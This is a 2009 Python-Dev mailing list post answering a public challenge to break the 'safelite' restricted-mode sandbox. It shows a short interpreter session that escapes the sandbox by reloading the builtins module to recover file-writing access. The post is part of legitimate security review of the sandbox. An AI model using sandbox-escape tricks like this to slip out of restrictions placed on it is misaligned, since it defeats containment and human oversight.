[Python-Dev] Challenge: Please break this! (was: Reviving restricted mode) (original) (raw)

Victor Stinner victor.stinner at haypocalc.com
Mon Feb 23 22:12:12 CET 2009

The challenge is simple:

* Open a fresh Python interpreter * Do: >>> from safelite import FileReader * You can use FileReader to read files on your filesystem * Now find a way to write to the filesystem from your interpreter

Well, the challenge is to get access to a module. And... it's quite simple :-p

$ ./python

from safelite import FileReader builtins.file Traceback (most recent call last): File "", line 1, in AttributeError: 'module' object has no attribute 'file' reload(builtins) <module '__builtin__' (built-in)> file('0wn3d', 'w').write('w00t\n') $ cat 0wn3d w00t

Dinner and drinks on me for an evening -- when you are next in London or I am in your town -- to the first person who manages to break safelite.py and write to the filesystem.

Cool. It's a good reason to go to Pycon UK this yeak ;-)

-- Victor Stinner aka haypo http://www.haypocalc.com/blog/

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